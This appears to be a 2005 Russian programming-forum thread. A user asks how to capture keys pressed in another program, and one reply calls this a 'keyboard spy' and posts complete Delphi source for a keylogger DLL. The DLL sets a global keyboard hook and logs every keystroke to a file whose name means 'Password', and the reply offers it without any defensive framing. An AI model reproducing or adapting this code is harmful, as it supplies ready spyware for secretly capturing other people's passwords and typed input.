Chertenok.ru - все о программировании
Вход  |  Регистрация  |  Поиск 
Праздник
Сегодня :

День славянской письменности и культуры


как определить символ


Новая тема  Ответить  Печать Предыдущая тема  Следующая тема
Автор Сообщение
finny_sm
Гость







СообщениеПт, 14-Окт-2005 15:15    Заголовок сообщения: как определить символ
Цитата

как определить символ нажатой клавишы в чужой программе .....???
В начало
ДОБ
Гость







СообщениеПн, 17-Окт-2005 8:29 
Цитата

Как я понял тебе нужна клавиатура шпион

dll wizard
Код:

library KLAVA;
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

var
m: HHook = 0;
H: array[0..16] of Char;
f: TextFile;
function SysMsgProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
if (code=hc_Action)and(((lparam shr 16) and kf_up)=0) then
begin
 GetKeyNameText(lParam, H, sizeof(H));
 AssignFile(f, 'c:\\Пароль.ДОБ');
if not FileExists('c:\\Пароль.ДОБ') then
begin
Rewrite(f);
CloseFile(f);
end;
Append(f);
Writeln(F,H);
Flush(f);
CloseFile(f) ;
end;
CallNextHookEx(m, Code, wParam, lParam);
Result:=0;
end;









//Процедура запуска
procedure КЛАВА(State  :Boolean) export; stdcall;
begin
//Если State = true, то...
if State=true then
        begin
//Запускаем ловушку
m:= SetWindowsHookEx(WH_KEYBOARD,
@SysMsgProc, HInstance, 0);
end
else//Иначе
begin
//Отключить ловушку
UnhookWindowsHookEx(m) ;
m := 0;
end;
end;
exports КЛАВА index 1;
begin
end.
В начало
Показать сообщения:   
Страница 1 из 1
Перейти:  
Новая тема  Ответить  Печать

Вы можете начинать темы
Вы можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете присоединять файлы в этом форуме
Вы можете скачивать файлы в этом форуме
хостинг от .masterhost 
Rambler's Top100